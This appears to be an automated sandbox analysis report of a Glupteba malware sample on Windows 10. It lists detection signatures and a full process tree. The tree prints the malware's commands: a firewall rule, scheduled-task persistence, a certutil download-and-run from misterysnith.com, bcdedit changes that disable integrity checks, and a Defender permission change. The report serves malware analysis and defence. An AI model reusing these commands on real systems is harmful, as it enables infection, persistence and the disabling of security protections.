Analysis

  • max time kernel
    120s
  • max time network
    146s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    04/12/2020, 19:29

General

  • Target
    704de8357a7be7f6015a6ea8329d96d9.exe
  • Size 3.8MB
  • Sample201204-dems2bhs82
  • SHA256 f23c0e1a0bfa1a936d4f96e69ee609430b99ee89819c7cf26aeade4411135f22
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba Payload 2 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
  • Windows security bypass 2 TTPs
  • Modifies boot configuration data using bcdedit 15 IoCs
  • Drops file in Drivers directory 2 IoCs
  • Executes dropped EXE 5 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Possible attempt to disable PatchGuard 2 TTPs

    Rootkits can use kernel patching to embed themselves in an operating system.

  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 4 IoCs
  • Windows security modification 2 TTPs 10 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in Windows directory 4 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 23 IoCs
  • Suspicious use of WriteProcessMemory 57 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\704de8357a7be7f6015a6ea8329d96d9.exe
    "C:\Users\Admin\AppData\Local\Temp\704de8357a7be7f6015a6ea8329d96d9.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4700
    • C:\Users\Admin\AppData\Local\Temp\704de8357a7be7f6015a6ea8329d96d9.exe
      "C:\Users\Admin\AppData\Local\Temp\704de8357a7be7f6015a6ea8329d96d9.exe"
      2⤵
      • Windows security modification
      • Adds Run key to start application
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4340
      • C:\Windows\System32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4048
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies data under HKEY_USERS
          PID:3796
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Drops file in Drivers directory
        • Executes dropped EXE
        • Drops file in Windows directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1868
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Creates scheduled task(s)
          PID:4448
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://misterysnith.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Creates scheduled task(s)
          PID:976
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:1180
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1816
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1096
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2212
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2368
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2848
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:3672
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2808
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:4644
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:204
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2904
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:1888
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -timeout 0
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2312
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:4536
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set bootmenupolicy legacy
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:4636
        • C:\Windows\System32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:4576
        • C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
          C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
          4⤵
          • Drops file in Drivers directory
          • Executes dropped EXE
          PID:3952
        • C:\Windows\windefender.exe
          "C:\Windows\windefender.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:3776
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:4120
            • C:\Windows\SysWOW64\sc.exe
              sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
              6⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:1256
  • \??\c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s seclogon
    1⤵
    • Suspicious use of NtCreateUserProcessOtherParentProcess
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1736
  • C:\Windows\windefender.exe
    C:\Windows\windefender.exe
    1⤵
    • Executes dropped EXE
    • Modifies data under HKEY_USERS
    PID:4148

Network

        MITRE ATT&CK Enterprise v6

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        Downloads

        memory/1868-20-0x00000000017B0000-0x00000000017B1000-memory.dmp

        memory/3776-52-0x0000000000400000-0x0000000000897000-memory.dmp

        memory/4340-11-0x0000000000400000-0x0000000000B11000-memory.dmp

        memory/4340-10-0x00000000010F0000-0x00000000010F1000-memory.dmp

        memory/4700-3-0x00000000013D0000-0x00000000013D1000-memory.dmp

        memory/4700-4-0x0000000000400000-0x0000000000B11000-memory.dmp